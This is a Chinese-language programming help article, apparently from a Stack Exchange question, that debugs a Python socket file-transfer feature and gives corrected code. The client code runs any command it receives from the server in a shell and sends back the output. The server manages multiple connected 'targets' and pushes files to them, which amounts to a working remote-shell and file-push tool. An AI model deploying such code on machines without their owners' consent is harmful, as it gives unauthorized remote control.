Python Socket/Threads 服务端向客户端发送文件功能报错排查
问题根因排查
当前文件传输功能报错由3个核心逻辑错误导致,和你预判的两个问题完全吻合,另有一处流程顺序问题:
- 第一,
sendFile函数未获取目标客户端的连接对象,代码里误用了服务端监听新连接用的theSocket发送数据,这个socket不承担和已连接客户端的通信任务,调用send方法直接抛异常,正好触发外层的Error sending the command !捕获逻辑。 - 第二,二进制读写与socket编解码逻辑完全混乱:用
rb模式读出来的文件内容本身就是bytes类型,不能再调用.encode("utf-8");代码中甚至尝试给文件句柄对象fileSending调用encode方法,该对象不是字符串,这行代码必报错。反过来客户端接收二进制文件内容时,也不能先decode成utf-8再写入wb模式的文件,非文本类文件(图片、压缩包、可执行程序)不符合utf-8编码规则,转码会直接报错或损坏文件。 - 第三,收发流程顺序错位:服务端发送
Send指令后未等待客户端就绪确认就直接发数据,客户端收到Send指令后还会把该字符串当成系统命令传给subprocess执行,既会产生无效操作,还会打乱socket字节流的顺序。另外现有代码仅调用一次recv(1024)接收数据,只要文件体积超过1024字节就会传输不全。
修复方案
- 服务端调整:给
sendFile传入目标客户端连接对象,所有文件相关数据都走该连接传输,禁止使用监听socket发业务数据;文件名单独编码发送,等客户端返回就绪确认后,循环读取文件二进制块传输,不要一次性把大文件读入内存,也不要做多余的编码操作;文件发完后传输固定结束标记,等客户端返回接收完成响应后再回到命令交互循环;调整指令发送逻辑,Send指令触发文件传输后直接进入下一轮循环,不要重复发送指令。 - 客户端调整:收到
Send指令后直接跳转文件接收逻辑,不要把Send传给subprocess执行;区分文本控制指令和二进制文件内容,二进制内容直接写入文件,不做utf-8转码;循环接收数据直到匹配到结束标记,保证大文件接收完整;每一步状态变更都给服务端返回响应,对齐收发顺序。
修复后核心代码
服务端修改部分
# 定义固定常量,避免魔法值 FILE_END_FLAG = b"__FILE_TRANSFER_DONE__" BUFFER_SIZE = 4096 def sendFile(target_conn): file_path = "Profiles.txt" import os # 先校验本地文件是否存在 if not os.path.exists(file_path): print(f"文件 {file_path} 不存在") target_conn.send(b"FILE_NOT_EXIST") return file_name = os.path.basename(file_path) # 发送文件名 target_conn.send(file_name.encode("utf-8")) # 等待客户端就绪 ready_msg = target_conn.recv(BUFFER_SIZE) if ready_msg != b"READY_TO_RECV": print("客户端未准备好接收文件") return # 循环读文件二进制块发送 with open(file_path, "rb") as f: while True: chunk = f.read(BUFFER_SIZE) if not chunk: break target_conn.send(chunk) # 发送传输结束标记 target_conn.send(FILE_END_FLAG) # 等待客户端接收完成确认 done_msg = target_conn.recv(BUFFER_SIZE) if done_msg == b"RECV_DONE": print(f"文件 {file_name} 发送成功") def sendTargetCommands(connection) : while True : try : cmd = input() if cmd == "Quit" : break if cmd == "Send" : # 发送Send指令通知客户端准备接收 connection.send(str.encode(cmd)) resp = connection.recv(BUFFER_SIZE) if resp == b"START_RECV": # 传入目标连接调用文件发送逻辑 sendFile(connection) # 传输完成后重置命令行提示符,进入下一轮循环 print(str(addressesList[connectionsList.index(connection)][0]) + "> ", end="") continue # 普通命令发送逻辑 if len(str.encode(cmd)) > 0 : connection.send(str.encode(cmd)) clientResponse = str(connection.recv(20480), "utf-8") print(clientResponse, end="") except Exception as e: # 打印具体异常信息方便调试,不要裸捕获吞掉错误 print(f"Error sending the command ! 错误详情: {str(e)}") break
注:原有
listConnections函数存在遍历列表同时删除元素的索引错位问题,遍历过程中直接del列表元素会导致部分连接漏检测,建议改成倒序遍历,或新建列表存储有效连接后替换原列表。
客户端修改部分
FILE_END_FLAG = b"__FILE_TRANSFER_DONE__" BUFFER_SIZE = 4096 def recieveFile (): print("开始接收文件...") # 通知服务端已进入接收流程 theSocket.send(b"START_RECV") # 接收文件名 file_name = theSocket.recv(BUFFER_SIZE).decode("utf-8") if file_name == "FILE_NOT_EXIST": print("服务端待发送文件不存在") return print(f"正在接收文件: {file_name}") # 返回就绪确认 theSocket.send(b"READY_TO_RECV") # 循环接收文件二进制内容 with open(file_name, "wb") as f: while True: chunk = theSocket.recv(BUFFER_SIZE) # 检测到结束标记后,写入标记前的有效内容并退出循环 if chunk.endswith(FILE_END_FLAG): f.write(chunk[:-len(FILE_END_FLAG)]) break f.write(chunk) # 返回接收完成确认 theSocket.send(b"RECV_DONE") print(f"文件 {file_name} 接收完成,已保存到本地") def commandsReceiving() : while True : dataReceiver = theSocket.recv(BUFFER_SIZE) # 空数据代表连接断开 if not dataReceiver: print("与服务端连接已断开") break # 识别到Send指令直接进入文件接收流程,不执行后续命令逻辑 cmd_text = dataReceiver.decode("utf-8", errors="ignore") if cmd_text == "Send" : recieveFile() continue # 处理cd命令 if cmd_text[:2] == 'cd': try: os.chdir(cmd_text[3:]) except: pass currentDirectory = os.getcwd() + "> " theSocket.send(str.encode(currentDirectory)) continue # 处理普通shell命令 if len(dataReceiver) > 0 : cmd = subprocess.Popen(cmd_text,shell=True,stdout=subprocess.PIPE,stdin=subprocess.PIPE,stderr=subprocess.PIPE) outputByte = cmd.stdout.read() + cmd.stderr.read() outputString = str(outputByte, "utf-8", errors="ignore") currentDirectory = os.getcwd() + "> " theSocket.send(str.encode(outputString + currentDirectory)) print(outputString)
额外注意事项
- socket是流式传输协议,不要假设一次
recv就能收完所有发送的数据,不管是命令还是文件,都要通过循环接收或约定结束标记的方式保证数据完整性,避免粘包、数据截断问题。 - 二进制数据传输全程不要做utf-8编解码,只有控制类文本(指令、文件名、状态标记)需要做编解码,否则非文本文件传输后必损坏。
- 调试阶段不要用无参数的
except直接捕获所有异常后只打印通用报错,输出具体异常信息能大幅缩短问题定位时间。
内容的提问来源于stack exchange,提问作者Soufiane El Himani
相关产品推荐
相关产品推荐

